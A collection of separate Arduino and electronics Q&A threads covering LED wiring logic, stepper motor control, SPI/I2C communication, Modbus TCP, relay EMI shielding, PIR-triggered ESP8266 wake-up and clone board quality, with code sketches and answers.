Programming ATmega2560 processor with FTDI instead of ATmega32 Has anyone tried to program an ATmega2560 with an FTDI chip as is done in the Arduino Nano (this is for a custom design).

Will it work?

In fact, the basic Arduino Mega (with the ATmega 1280) utilizes an FT232RL, so yes, it will work if you connect it correctly.

It is only the newer Mega2560 (along with the similar-generation Uno, etc) which utilizes an ATmega16u2 or similar as the USB bridge.

Generally speaking, the bootloader doesn't care - you should be able to use either target chip with either USB bridge (or others).


RGB LED circuit problem I have written the following code for RGB LED:-

const int RED =11;
const int GREEN = 10;
const int BLUE= 9;
void setup() {
  pinMode(RED,OUTPUT);
  pinMode(GREEN,OUTPUT);
  pinMode(BLUE,OUTPUT);
}

void loop() {
  analogWrite(RED,0);
  analogWrite(GREEN,255);
  analogWrite(BLUE,0);
  delay(1000);
}

Now according to my understanding if I run the above code then only  pin named GREEN i.e. 10th pin will give me current not 9, 11th pin. But when I upload the code and run it I see that 9 and 11 pin are giving me current not 10th pin as it is supposed to. Is there a problem in my code? I have checked my circuits are correct. To check current I took jumper wire that was connected to one of my colour and tried inserting it's other end at pins(9, 10 or 11) of Arduino board. If there is current bulb will glow. For above code the bulb was glowing when I inserted the wire at 9 and 11th pin.

A common anode RGB LED can be sketched in a schematic like this:

simulate this circuit – Schematic created using CircuitLab

The positive voltage has to be applied to the top, for all the LEDs together. To light the LEDs up, you have to sink the current on the other end, meaning providing ground level at the bottom of that schematic at the corresponding pins. The current will then flow from your 5V pin, through the LEDs into the Arduinos pin.

That means, that analogWrite(pin, 0) will turn the LED on that pin ON and analogWrite(pin, 255) will turn the LED OFF. The logic is inverted here, because the Arduinos output pin is on the other side of the LED.

So your circuit and code work perfectly, you just didn't expect the inverted logic.

Note: The pins of the Arduino can only source/draw a certain amount of current (20mA continuously, 40mA at maximum) without getting damaged. A single, not too strong RGB LED should be OK, but as soon, as you want to drive more LEDs, you should consider using a driver circuit (for example simple transistors). That way the output pins don't have to provide the LEDs current, but only the current to control the transistor.


How to exit while loop using keypad? I can't seem to be able to escape a while loop using a keypad button. I've tried the solution from this thread: https://forum.arduino.cc/index.php?topic=79932.0

Here's my code:

void alarm(){
  char customKey = customKeypad.getKey();

  while (customKey == NO_KEY){
    customKey = customKeypad.getKey();
    lcd.noDisplay();
    delay(750);// change for faster flash
    lcd.display();
    delay(750);// change for faster flash
  }
  lcd_home_screen();
}

I tried both == and != for the while (customKey == NO_KEY)

Additional info:
I am calling this alarm function from another function inside my Loop.
Here's the complete code:

void loop() {
  // keypad
  char customKey = customKeypad.getKey();
  if (customKey == 'A'){
    main_program(5);
  }
}

int main_program(int duration){
  timer(duration);
  alarm();
}

Because you're using delay() within your while loop you have to ensure that you are pressing the key at the precise moment it is read.

You should not use delay().

Instead take a look at the BlinkWithoutDelay example in the IDE. And also consider implementing a Finite State Machine to know both if you're blinking and what state you're blinking currently is in.


expected unqualified id before token here is the code.

PROBLEM:- if I use for the loop the error comes "expected unqualified-id before for .......but if I use the void loop instead of for loop...the code is run without any error. Meanwhile, I needed for loop .

long int Distance = 0;  // Record the number of steps we've taken
//LOW LOGIC MOVEMENT BACKWARD and GEARS MOVE clocwise
// PIN 18 FOR DIRECTIRON
// PIN 19 FOR STEP  INPUT
int y= 10^-6;
long int k;
long int h= 1600;
void setup() {
Serial.begin(9600);
  pinMode(18, OUTPUT);
  pinMode(19, OUTPUT);
  pinMode(14, OUTPUT);
  pinMode(15, OUTPUT);
  digitalWrite(18,LOW);
  digitalWrite(19, LOW);
 digitalWrite(14, LOW);
 digitalWrite(15, LOW);
}
for ( k=0; k<=h; k++)
{
  //if we are at the end of our move
  digitalWrite(19, HIGH);
  delayMicroseconds(100);
  digitalWrite(19, LOW);
  delayMicroseconds(100);
  Distance = Distance + 1;   // record this step
  //k=Distance;
//   Check to see
  if (Distance ==h)
 {
   // We are! Reverse direction (invert DIR signal)
   if (digitalRead(18) == LOW)
    {
     digitalWrite(18, HIGH);
   }
   else
   {
     digitalWrite(18, LOW);
   }
//    Reset our distance back to zero since we're
 //   starting a new move
   Distance = 0;
  //   Now pause for half a second
    delay(1000);
  }
  }
}

It looks like you intended the for-loop to run to completion once. If that is correct, just include it and its entire block of code within and at the end of the setup() function. You will still need to provide a loop() function but it can be empty:

void loop(){
   ;
}

If, instead, you wanted the for() loop to be run repeatedly, enclose it in the loop() function:

void loop(){
   for ( k=0; k<=h; k++ )
   {
   ...
   }
}

The setup() function runs once after a power up or reset. The loop function then gets called repeatedly, forever. Put your functional code in whichever one fits your purpose.

The reason for the error message is that, as you've written the for-loop, it is outside of a function, but executable code (as opposed to defining global variables) is only valid within a function.


SPI MCP23S08 to Arduino: strange stop/start behaviour I have built an Arduino minimal breadboard circuit to test some parts I recently bought and I successfully managed to get the I2C MCP23008 working perfectly with LEDs and an LCD display.
However I have just recently tried to use the SPI version of the same chip with some really odd results. I have tried searching for code examples and libraries, but struggled to get anything working.

So I studied the datasheet to create the following code to flash an LED, however the flashing seems to work only briefly and then stops. Sometimes it stops and then stays lit randomly.

// inslude the SPI library:
#include <SPI.h>
const int chipSelect = 10;

void setup() {
  // initialize SPI:
  SPI.begin();

  pinMode(chipSelect, OUTPUT);

  // set the chipSelect as an output:
  digitalWrite(chipSelect, HIGH);

  sendCommand(0x00, 0x00);
}

void sendCommand(int address,int data) {
  digitalWrite(chipSelect, LOW);
  //  send in the address and value via SPI:
  delay(1);

  // SPI addressing 0x40 with A0 and A1 set to ground and R/W bit set to output
  SPI.transfer(0x40);
  SPI.transfer(address);
  SPI.transfer(data);
  delay(1);

  // take the chipSelect pin high to de-select the chip:
  digitalWrite(chipSelect, HIGH);
}

void loop() {
  sendCommand(0x09,0xff);
  delay(1000);
  sendCommand(0x09,0x00);
  delay(1000);
}

I have a couple of these devices and they both came from a supplier on eBay. I would like to validate my code before I suspect that the devices are dodgy and are not a genuine part.
Can anyone help me validate my code, or has anyone had a similar experience with the SPI bus and other devices not behaving properly?
Edit
Could it be due to the length of my wires to the Arduino?

I have figured it out, lesson learned. I should have also drawn how my circuit connects to the Arduino, this would have probably then become obvious to me and everyone else.

Basically I had MOSI -> MOSI and the same with MISO -> MISO, rather than crossing them MOSI -> MISO respectively.

Circuit working fine now duh!

Face-palm!


PIR motion wake ESP8266 from deepsleep I'm trying, what I thought would be simple, to wake a sleeping ESP8266 via motion detected by a PIR.

There are a lot of schematics around and they all seem to go about it more or less the same way, and the simplest form seems to be this:

Where RST is the RST pin of the ESP8266 and Trigger is the PIR's trigger line.

The problem I'm finding is that this is not working.

The PIR is working fine, and throws out almost 3v for 2 seconds when triggered and 0 when no motion is detected.

My ESP is being woken up when the PIR trigger is OVER, not when it STARTS. So if the PIR senses motion for a long time, the ESP will only wake up when the motion STOPS.

The PIR is one of these.

The ESP is currently a NodeMCU on breadboard, but the final product will be a Wemos D1 Mini.

What am I doing wrong here?

What you need is an edge detector. As long as the PIR output is hight, the ESP stays in reset mode.

You can use a capacitor to do the trick, as shown in the following schematic.
You'll probably want to get rid of the pull-down resistor R1 since you're using an open-collector output.

If the voltage at the collector is the blue curve, then the resulting voltage at the output of the circuit will be similar to the yellow curve. (Note that this simulation used an ideal square wave as input, produced by a push-pull output from a CMOS chip, for example. An open-collector output will have slightly different characteristics, the high peak won't be as high.)

At the instant when the collector voltage drops to (almost) zero, the voltage across C1 will be 0V, so the output is close to 0V as well. Then the capacitor immediately starts to charge through R2, so the voltage on the reset pin rises exponentially.

To prevent a high voltage peak when the PIR turns off, a diode is used to discharge the capacitor more quickly. If the resistor at the collector is large enough, this might not be an issue at all.

The same principle is used in the Arduino UNO, for example, to reset the ATmega when DTR goes low.


Arduino with WS2812 using Adafruit NeoPixel library fade in/out different patterns Hey all I have been trying to figure out a way to random set patterns for my fade in/ out code below:

int PIN = 3;
int totalLEDs = 11;
int ledFadeTime = 5;

Adafruit_NeoPixel strip = Adafruit_NeoPixel(totalLEDs, PIN, NEO_GRB + NEO_KHZ800);

void setup() {
  strip.begin();
  strip.show(); // Initialize all pixels to 'off'
}

void loop() {
  rgbFadeInAndOut(0, 0, 255, ledFadeTime); // Blue
}

void rgbFadeInAndOut(uint8_t red, uint8_t green, uint8_t blue, uint8_t wait) {
  for(uint8_t b = 0; b <255; b++) {
     for(uint8_t i=0; i < strip.numPixels(); i++) {
        strip.setPixelColor(i, red * b/255, green * b/255, blue * b/255);
     }

     strip.show();
     delay(wait);
  };

  for(uint8_t b=255; b > 0; b--) {
     for(uint8_t i = 0; i < strip.numPixels(); i++) {
        strip.setPixelColor(i, red * b/255, green * b/255, blue * b/255);
     }
     strip.show();
     delay(wait);
  };
};

The code above works great. Fades the blue in and out infinity times. However, I am wanting random LEDs to be off or have a lighter/darker shade of the color I choose (in the above it's blue).

Example:

[off][blue][blue][off][off][dark blue][blue][off][dark blue][dark blue][off]
[blue][blue][blue][dark blue][off][blue][dark blue][blue][dark blue][off][off]
etc etc...

Would anyone happen to have code already like this?

Any help would be great! Thanks!

To make randomly-changing colours for the whole strip, change:

void loop() {
  rgbFadeInAndOut(0, 0, 255, ledFadeTime); // Blue
}

to:

void loop() {
  rgbFadeInAndOut(random (256),
                  random (256),
                  random (256), ledFadeTime); // random colour
}

If you want to make individual pixels different colours you could set up an array of colours, randomly initialize it, and use that. Like this:

#include <Adafruit_NeoPixel.h>

int PIN = 3;
int totalLEDs = 11;
int ledFadeTime = 5;

Adafruit_NeoPixel strip = Adafruit_NeoPixel(totalLEDs, PIN, NEO_GRB + NEO_KHZ800);

void setup() {
  strip.begin();
  strip.show(); // Initialize all pixels to 'off'
}

void loop() {
  rgbFadeInAndOut(ledFadeTime);
}

void rgbFadeInAndOut(uint8_t wait) {

  uint8_t red [totalLEDs];
  uint8_t green [totalLEDs];
  uint8_t blue [totalLEDs];

  // randomly set each colour
  for (int i = 0; i < totalLEDs; i++)
    {
    red [i] = random(256);
    green [i] = random(256);
    blue [i] = random(256);
    }

  for(uint8_t b = 0; b <255; b++) {
     for(uint8_t i=0; i < strip.numPixels(); i++) {
        strip.setPixelColor(i, red [i] * b/255, green [i] * b/255, blue [i] * b/255);
     }

     strip.show();
     delay(wait);
  }

  for(uint8_t b=255; b > 0; b--) {
     for(uint8_t i = 0; i < strip.numPixels(); i++) {
        strip.setPixelColor(i, red [i] * b/255, green [i] * b/255, blue [i] * b/255);
     }
     strip.show();
     delay(wait);
  }
}


How to drive a stepper motor, by having it go even steps forward and odd steps back? I have a question about driving a stepper motor back and forward. Basically I want it to do a total of 24 steps (12 forward and 12 back) but I don't want to repeat the same steps when coming back.

So 2, 4, 6, 8, 10, 12 (step numbers) forward and 11, 9, 7, 5, 3, 1 (step numbers) backwards.

Here is the code I have at the moment and I just cannot get the motor to drive properly.

EDIT: It goes 6 times 2 steps forward, then 5 times backwards and after that it starts to just jerk around. What I want it to do is to go 6 times 2 steps forward (so step 2, step 4, step 6, step 8, step 10, 12) and then come back but fill in the odd steps (step 11, step 9, step 7, step 5, step 3, step 1 and step 0). The idea is that then it doesn't just overlap when going forwards and backwards.

#include <Stepper.h>
#include <TimerOne.h>

const int stepsPerRevolution = 200;

Stepper myStepper(stepsPerRevolution, 2, 3, 4, 5);
int backwardsCount = 0;
int stepCount = 0;

void setup() {
  Serial.begin(9600);
  Timer1.initialize(2000);
  Timer1.attachInterrupt(callback);
}

void callback(){
  if(stepCount < 12) {
    myStepper.step(2);
    stepCount += 2;
  } else if(stepCount == 12) {
    myStepper.step(-1);
    backwardsCount = 11;
    stepCount += 1;
  }
  if(backwardsCount > 1) {
    myStepper.step(-2);
    backwardsCount -= 2;
  } else if(backwardsCount == 1) {
    myStepper.step(-1);
    stepCount = 0;
    backwardsCount = 0;
  }
}

void loop() {
}

Ok, I tried to fix a couple of things from your code.

First of all I implemented a small state machine with two states: going forwards and going backwards. Normally you advance by 2 steps, but when you switch state you go directly to 0 or 11. In my opinion this is the most correct way to handle this problem.

Then I modified the way you trigger a movement. I totally dislike interrupts, specifically when not needed like in this case (at least in my opinion). I used the usual approach with millis(). Please note, however, that I had to put 2 milliseconds as period, but I think this was a mistake from your side (I think you wanted 2 seconds). If this is the case, write const uint16_t moveStepMs = 2000; instead of const uint16_t moveStepMs = 2;. If you want to keep the 2ms, please be aware that 2ms * 6 = 12ms, so it will go back and forth in about 25ms. This means it is too fast for you to see anything (and probably also for the motor to move).

Here is the code. I hope it is clear; I tested it online, but there wasn't a stepper in the simulator so I just used some LEDs (I think it works, anyway).

#include <Stepper.h>

const int stepsPerRevolution = 200;

Stepper myStepper(stepsPerRevolution, 2, 3, 4, 5);

const byte State_MovingForw = 1;
const byte State_MovingBack = 2;

byte currentState;
int8_t position; // Note: max 127 for position

const uint16_t moveStepMs = 2;
unsigned long prevMillis;

void setup() {
    Serial.begin(9600);
    prevMillis = millis() - moveStepMs;
    currentState = 0; // Invalid, so it will trigger a change
}

void executeStep(int8_t numOfSteps)
{
    myStepper.step(numOfSteps);
    position += numOfSteps;
}

void loop() {
    if ((millis() - prevMillis) > moveStepMs)
    {
        prevMillis += moveStepMs;
        byte nextState = currentState;

        // Check for a state change
        switch (currentState)
        {
        case State_MovingForw:
            if (position >= 12)
                nextState = State_MovingBack;
            break;
        case State_MovingBack:
            if (position <= 1)
                nextState = State_MovingForw;
            break;
        default:
            nextState = State_MovingForw;
        }

        if (nextState != currentState)
        {
            // Exit condition: what to do when exiting from one state
            switch (currentState)
            {
            case State_MovingForw:
                executeStep(0 - position); // Reset position to 0
                break;
            case State_MovingBack:
                executeStep(11 - position); // Reset position to 11
                break;
            }

            // Advance to next state
            currentState = nextState;
        }
        else
        {
            // no state change (so move to the next value)
            switch (currentState)
            {
            case State_MovingForw:
                executeStep(2); // Move two steps forwards
                break;
            case State_MovingBack:
                executeStep(-2); // Move two steps backwards
                break;
            }
        }
    }
}


Modbus IP with Simply Modbus TCP include SPI.h
include Ethernet.h
include Modbus.h
include ModbusIP.h

//Modbus Registers Offsets (0-9999)
const int SENSOR_IREG = 100;
//Used Pins
const int sensorPin = A0;

//ModbusIP object
ModbusIP mb;

long ts;

// Set Port to 502
EthernetServer server = EthernetServer(502);

void setup() {
  //Assign the modbus device ID.
  regBank.setId(1);

    byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };

    byte ip[] = { 192, 168, 1, 177 };

    mb.config(mac, ip);

    // Add SENSOR_IREG register - Use addIreg() for analog Inputs
    mb.addIreg(SENSOR_IREG);

    ts = millis();

}

void loop() {

   //Call once inside loop() - all magic here
   mb.task();

   if (millis() > ts + 2000) {
       ts = millis();

       mb.Ireg(SENSOR_IREG, analogRead(sensorPin));
   }
}

I am trying to read data from the first analog pin through ModbusTCP using SimplyModbusTCP but I keep getting errors when I poll my Arduino. I am using an Arduino UNO with a Ethernet Shield W5100 and Modbus Library. I am request data from Ip address 192.168.1.177 Port:502 Slave:1 and Function Code:03. The error I get is "Error 66 occurred at TCP Read in SMT8.0.vi. LabVIEW: The network connection was closed by the peer."

You should not create the Ethernet server. The library creates the server and your server takes the port first.

Modbus function code to read Input registers is 04.


Design considerations for creating an Arduino 'shield' shield to limit EMI I am building a shield that contains an AC power supply and relay for an Arduino-like board. The problem I am having is that the relay is quite noisy with respect to EMI, and I can see a few jitters or jumps in my system during normal operation even with a zero cross detector.

I have added in another shield between the 'relay' shield and the main board, which has helped the problem by creating a larger gap, but I would like a more permanent and robust solution.

I was thinking of building a simple shield that has nothing much on it and is simply a large ground plane that sits in between the relay shield and the main board. This would be a simple solution that does not involve making any shielding cages.

This ground plane would be connect to the chassis of my device, which is then earthed.

Since the device has both a DC ground voltage (0V DC) and a AC earth (0V AC) I was thinking maybe I should use both as part of my shielding. Since the board has layers on both sides perhaps I could design it to have the side facing the relays to be earthed, while on the other side, facing the CPU, would be DC ground. I could even couple the two planes with a capacitor, if it helps.

On the one hand I think the earthed option should be fine, but on the other hand I would like to know more about using the DC ground as an EMI shield. Would the simple earth only option work? Would even a DC ground only option work? Does it help to use the DC ground as an EMI shield for the DC components or am I over complicating it?

What would be helpful would be explanation of the type of AC you are using and then possibly a schematic or board layout.

That aside, there does seem to be noise between the two boards. The Idea of placing a PCB with just a large copper pour would work.

DC Ground

If you connect the DC ground from the main board you should use a ferrite bead(FB) between the two grounds, this will ensure that you don't get noise getting back into the ground of the main board after you have tried to shield it. You should try to match the ferrite bead to the noise frequency you experiencing (use a scope if you have one).

Using the DC ground as a shield is often done, if you look at the EMI cages on cellular phones, WiFi modules, and other noise generating devices/susceptible-to-noise devices, they are connected to ground. It gives the noise somewhere to go, instead of your signal lines. Thus using the DC ground is defiantly an option

i.e.:

Main ground>--------[__FB__]-------<SHIELD

AC Ground

You could use the AC earth line on the top part of the shielding board. The coupling part might be a bit over kill, leave space for it to test to see if it helps when you make the board. Also AC earth can be used for shielding but is used for the safety aspect of earth leakage.

Don't do a direct DC ground to AC ground unless you know what you are doing as this will create a ground loop, this will change the way stuff behaves and will make your circuit no longer a floating device.

Other stuff

I would also make sure how you drive the relay is isolated from the control circuitry, although from what you describe:

  if I move the shield further away I also don't see the issues.

If you share power rails between the relay board and the main board, try filtering the power going to the CPU section. Also the control lines can be isolated between the controller and the relay with opto-couplers, this might stop noise coming back into the circuit from the relay part.


I am very new to Arduino and the kit tutorial just told me to wire this, I do not know how to wire it. Can Someone plz help! I can't figure out how to do this the only wires I have are Jumper Wire and M-F 20 Pin DuPont Wire.

If you don't have a breadboard, get one. It's a board with lots of holes in it that you can use for experimenting.
Something like this:

https://www.adafruit.com/product/64?gclid=EAIaIQobChMIz9XDj9bF6wIVcuW1Ch2_kgD3EAQYAiABEgL4DvD_BwE
As Delta_G said in their comment, you could wire a circuit as simple as yours by just putting the wires from the components directly into the terminals on the Arduino, but that quickly becomes impractical. Get a breadboard and learn how to use it.


Are there any detail examples of Si4463 Recently, I bought two Si4463 chips, but I don't know how to use them. It seems complex. I'd like to know if there are any examples of an Si4463 used with an Arduino?

I've looked at the data sheet for this and I think it is the wrong choice of device for a beginner.  Can I suggest that you start by looking at a relatively simple DPI interfaced device, such as a sensor or RTC.  This will teach you the basics of sending commands via the Wire library.  You might even get the hang of it just by looking at existing libraries.

I can't find a library, so you are going to need to write your own.  The library will need a begin function which initialises you class and a write and read function, which write and read from an address.

void begin(void);
uint8_t read(const uint8_t& address);
void write (const uint8_t& address, const uint8_t& bytesOfData, const uint8_t* pData);

You will need to flesh those functions out, but that's it.  If you want to make you library more useable read the datasheet and create wrapper functions for each of the registers that can be accessed.

// This instruction requires 10 buts spread over two bytes.
void writeFrequencyOffset (const uint8_t& highByte, const uint8_t& lowByte)
{
  write (0x73, lowByte);
  write (0x74, highByte);
}

The process of creating friendly wrappers is a tedious operations, just reading the data sheet and translating that into code.


Reading values from TTP229 capacitive touch sensor on arduino I would like to be able to read the raw capacitive sensor values from a TTP229 chip through i2c in Arduino. I have one of these breakout boards to play with :

My goal is to get values similar to those of the MPR121 or the Capacitive Sensor Arduino library where the reading changes depending on proximity and how hard you touch the pads. I have tested the following code but I'm only able to detect an on / off reading.

#include <Wire.h>
#define ttp229 ( 0xAF>>1 )

uint16_t data_out = 0;
uint16_t data1, data2;
int count = 0;
boolean count2 = false;
int button[16];
int oldata[16];

void setup()
{
    Serial.begin( 9600 );
    Wire.begin();
}

void loop()
{
    Wire.requestFrom( ttp229, 2, true );
    //delay(1);
    while( Wire.available() )
    {
        data1 = Wire.read();
        data2 = Wire.read();
        data_out = (data1<<8)|data2;

        for(int i=1;i<17;i++)
        {
            uint16_t contrast = 0x8000;
            if(data_out & contrast)
            {
                //Serial.println(i);
                button[count]=i;
                count++;
            }
            data_out<<=1;
        }
        if(count2)
        {
            switch(count)
            {
                case 1:
                if( oldata[0] == button[0] )
                {
                    Serial.println( button[0] );
                    delay( 20 );
                }
                break;
                case 2:
                if(oldata[0]==button[0]&&oldata[1]==button[1])
                {
                    for(int i = 0; i < 2; i++)
                    {
                        Serial.print( button[i] );
                        Serial.print("  ");
                    }
                }
                break;
            }
        }
        for( int i = 0; i < 16; i++ )
        {
            oldata[i] = button[i];
        }
        count = 0;
        count2 =! count2;
    }
}

Even if i just print out data1 and data2 from the example it doesn't seem to produce readings that change with the capacitance. I originally thought this was a hardware limitation but then I came across this TTP229 product that has a linear touch sensor built into it.

Does anyone have any experience with this sensor and how I can access the raw readings?

mpr121 gives raw values
it has 12 electrodes/capacitance sensing inputs

https://www.sparkfun.com/datasheets/Components/MPR121.pdf
https://github.com/BareConductive/mpr121/tree/public/MPR121/Examples/DataStream


How do I make Arduino IDE use a specific version of GCC in Debian? Using Raspbian Stretch.

I installed gcc-4.9 with specified version. Then I installed arduino (2.1.0.5) which in turn pulled gcc 4.6. When I try to compile Marlin in it, it says

  Marlin requires C++11 support (gcc >= 4.7, Arduino IDE >= 1.6.8).
  Please upgrade your toolchain.

How do I make Arduino IDE use the correct version of GCC?

As Majenko pointed out, I should have used a tarball from the official site instead of the repositories. Which makes me wonder why that package wasn't deprecated or something...


Share data between the two processors of the Arduino Yun The linux processor runs a Python script from which I would like to send an array of integers to the Yun microprocessor. How can I do that?

And then, how can I retrieve and then use this array in my Arduino Sketch?

Given that my Python script printed the following

[10, 20, 30, 40]

This is the sketch I used to retrieve the array

#include <Bridge.h>
#include <Process.h>

void setup()
{
   Bridge.begin();
   Serial.begin(19200);
}

void loop()
{
   Process proc;
   int i=0;
   size_t dim = 1;
   int* array = (int*)malloc(dim);

   Serial.print("Running process...");
   Serial.println("done!");
   proc.runShellCommand("python /script.py");

   while (proc.available()){
     if((char)proc.read() != ']'){
        array[i] = proc.parseInt();
        dim++;
        array = (int*)realloc(array,dim);
        Serial.println(array[i]);
        i++;
      }
      else
        break;
   }

   Serial.println();
   delay(1000);
}


Is cheap away arduino trustworthy I have recently decided to buy an arduino over a raspberri pi and have been shopping for a good deal and learning about which model I need and where to buy.

I have come across a few very cheap arduino uno boards that are identical to every other board. These range from an unbelievable $4-$15. Are they officially branded and/or are they trustworthy?

Here is a link to a few links to some I've found:

http://m.ebay.com/itm/New-UNO-R3-ATmega328P-Development-Board-For-Arduino-Compatible-USB-Cable-DIY-/311418263595?nav=SEARCH

http://m.ebay.com/itm/NEW-UNO-R3-ATmega328P-CH340-Mini-USB-Board-for-Compatible-Arduino-WL-/161883302204?nav=SEARCH

Caveat Emptor.

If it's not genuine you can never be sure quite what you are getting. You have to ask with some of then just how they can make them so cheap. Poor quality components is one way. Either counterfeit or reject components which may fail after a short time, or under certain conditions is a big risk.

There are different grades of board each with their own risks...

Genuine. High price, good reliability and quality. Good after sales support. Supports the Arduino cause.
Arduino clone. Genuine Arduino design made by a reputable third party. Almost as good as option 1 but doesn't support Arduino financially.
Arduino Based. A board created for a specific job that is based around genuine Arduino design. Support really only from the (often smaller) manufacturer. Quality varies.
Chinese clone. Low grade components made to original Arduino designs. Little or no support. Poor quality. Often with different USB interface that is unstable and low quality.
Counterfeit. Low quality components. Claims to be a genuine Arduino. Bad build quality.

Options 1-3 are ones I would consider buying. 4 and 5 I would stay well away from.


Relay active low and ESP8266 GPIO pins I am using a ESP8266, specifically the ESP-12-E :

I have a Relay, SRD-05VDC-SL-C connected to GPIO pin 4.
It is wired in Normally Open(with my device to be powered wired into the top and middle pins counting from the top to the bottom of the picture below):

In my arduino code when I issue:
  pinMode(4, OUTPUT);

This seems to pull the pin LOW, which is the active state of the relay, powering it, which turns my device on before my control code has even had chance to run. I want to get the pin for output but keep it floating.
How do I setup my pin for output, but leave it 'floating' from code, or keep it high / floating, so that I have to explicitly issue:
digitalWrite(4, LOW);

Before low is sent to activate my relay?
Hope this makes sense!

The answer thanks to Trevor_G was:

use digitalWrite(4, HIGH); before pinMode(4, OUTPUT);


Is arduino starter kit disappearing? It seems they stop the production of arduino starter kit (official), it's hard to find it on pro website.
Is there an other very good starter kit to start ? I mean I would like to try everything on small given project before starting my own project.

AFAIK, it's still available on the arduino store website


ATMega328P not running sketch in standalone (works in Uno R3 Board though) I bought an ATMega328P-PU and burned OptiBoot onto it using a second Arduino Uno R3 with great success.

I then put the microcontroller back on the (empty) Uno R3 (DIP) Board for programming, connected USB and uploaded the blink sketch successfully.

Now to the weird stuff:

Blink works on the Arduino Board itself, but if I pull it out and stick it into my breadboard, the program seems to not start. Here are some facts:

happens with or without external crystal 16.000 (Pin 9-10)
happens with or without the 22pF capacitors from crystal to GND (9-GND, 10-GND)
happens with Fuses set to internal OSC or to external clock (Uno default)
happens with or without the ADC VCC (Pin 20) and REFERENCE (Pin 21) Pins @ 5V
happens on 5V and on 3V3
happens with or without external Pullup on RESET Pin (1)
Most of the output Pins sit at 0.8 V

I found the solution by accident.

While I used my multimeter to measure the voltages between GND and the Pins (for the last fact), I noticed the program running at weird speeds. I. e. the LED started blinking.

What did I measure?

Actually I was just measuring one of the crystal pins (Pin 9 or 10). The sketch went running for a few seconds and very different speeds and then stopped.

This small change in voltage gave the ATMega the clock signal it needs to step through the program.

Maybe I need less capacitance of the two capacitors as mentioned in the comments. I will update the answer with more information later on.

The perfect solution

As pointed out in the comments, I really chose the wrong capacitors. It worked without, but we want the stability so use a bright light and a magnifying glass if you are unsure. Really, do it.


Detect button press inside a for() cycle I was working on a project with an LED strip, where I'd like to cycle through various effects with just a press of a button. The problem is that I don't know how to detect the press of the button to change effect while in for() cycling colors to have a rainbow effect (so it's a multitasking problem, I think).
Could you help me? :)

#include <Adafruit_NeoPixel.h>

#define pin 5
#define led 15
#define button 7
Adafruit_NeoPixel strip = Adafruit_NeoPixel (led,pin,NEO_RGB+NEO_KHZ800);

int doggo=0;

void setup(){
 strip.begin();
 pinMode(button,INPUT);
}
void loop(){

 int buttonVal=digitalRead(button);

 if(buttonVal==HIGH){
  doggo++;
  delay(300);
 }
 if (doggo>2){
  doggo=0;
 }
 while (doggo==0){
  //whole strip red
  for (int i=0;i<led;i++){
   strip.setPixelColor(i,255,0,0);
   strip.show();
  }
 }
 while (doggo==1){
  //rainbow effect
  uint16_t i, j;
  int rainbowSpeed=10;
  for(j=0; j<256*5; j++) {

   for(i=0; i< strip.numPixels(); i++) {

    strip.setPixelColor(i, Wheel(((i * 256 / strip.numPixels()) + j) & 255));
    strip.show();

   }

  }

 delay(rainbowSpeed);

 }

 while (doggo==2){
  //whole strip blue
  for (int i=0;i<led;i++){
   strip.setPixelColor(i,0,0,255);
   strip.show();
  }
 }

}

uint32_t Wheel(byte WheelPos) {
 WheelPos = 255 - WheelPos;

 if(WheelPos < 85) {
  return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
 }
 if(WheelPos < 170) {
  WheelPos -= 85;
   return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
 }
 WheelPos -= 170;
 return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
}

You could use the Bounce2 library.

Call the update() method regularly and then check the state with read().

e.g.

for (...) {
  button.update();
  if (button.read() == HIGH) {
     //change pattern
     break;
  }
  // Do strip stuff.
}

As an added bonus the bounce library will debounce your button.


How to read data from Arduino with Raspberry Pi via I2C? I have connected a Raspberry Pi 2 model B to an Arduino Uno via Bi-Directional Level shifter, from this BLOG:

Raspberry pi    GND    ----------   GND     Arduino
                3.3v   ----------   5v
                SCL    ----------   A5
                SDA    ----------   A4

I hope my I2C connection is correct.

And my Arduino is connected to an 8-Channel relay board.

Now I have written code in which I can control the relay board with the Raspberry Pi. For example, if I Press '1', relay 1 goes high.

Now I want to send data back from the Arduino to the Raspberry Pi in order to cross-check if relay 1 is high or not. If relay 1 is high then it should send some data back to the Raspberry Pi.

My Raspberry Pi code is:

import smbus
import time
# for RPI version 1, use "bus = smbus.SMBus(0)"
bus = smbus.SMBus(1)

# This is the address we setup in the Arduino Program
address = 0x04

def writeNumber(value):
    bus.write_byte(address, value)
    # bus.write_byte_data(address, 0, value)
    return -1

def readNumber():
    number = bus.read_byte(address)
    # number = bus.read_byte_data(address, 1)
    return number

while True:
    var = input("")
    if not var:
        continue
    writeNumber(var)
    number = readNumber()

My Arduino code:

#include <Wire.h>

#define SLAVE_ADDRESS 0x04
#define RELAY1 9

int number = 0;
int state = 0;

void setup() {
    pinMode(RELAY1, OUTPUT);
    Serial.begin(9600); // start serial for output
    // initialize i2c as slave
    Wire.begin(SLAVE_ADDRESS);
    // define callbacks for i2c communication
    Wire.onReceive(receiveData);
    Wire.onRequest(sendData);
    Serial.println("Ready!");
}

void loop() {
    delay(100);
}

// callback for received data
void receiveData(int byteCount){
    while(Wire.available()) {
       number = Wire.read();
       Serial.print("data received: ");
       Serial.println(number);
        if (number == 1) {
            if (state == 0){
                digitalWrite(RELAY1, HIGH); // set the LED on
                state = 1;
            } else {
                digitalWrite(RELAY1, LOW); // set the LED off
                state = 0;
            }
        }
    }
}

// callback for sending data
void sendData(){
    Wire.write(number);
}

Now if I type 1, and due to some loose connection relay 1 doesn't go high, I want the Arduino to take data from the relay board and send it to the Raspberry Pi every time.

It will be great if someone can explain also that how it works.

Hope I was able to explain the problem. I have done lots of research but was not able to find some answer.

I am a beginner in Python so please help me.

Thanks in advance.

You might want to graduate to the pigpio library for the Pi side of this.

Here is where you can find examples of how it works.

here is a fun one that is like Wireshark - will show you the I2C traffic:

https://github.com/joan2937/pigpio/tree/master/EXAMPLES/C/I2C_SNIFFER

Here is the FAQ about I2C


Visual Studio integration with Arduino I use Visual Studio 2015 extensively for work, so it would seem like a logical choice for getting started with Arduino programming (though my C/C++ is rusty, that may take some time to get back). From what I understand the Visual Micro Plugin is popular. Is that sort of the de facto choice for those who come from VS? Does it tie into everything so that I can handle debugging, breakpoints, deployment etc from Visual Studio? Much obliged!

I think it is the de facto standard for VS (of course the default Arduino IDE is used most).

However, I think some advanced features (like breakpoint if I recall right) is only temporarily for free and you have to pay later for a subscription.

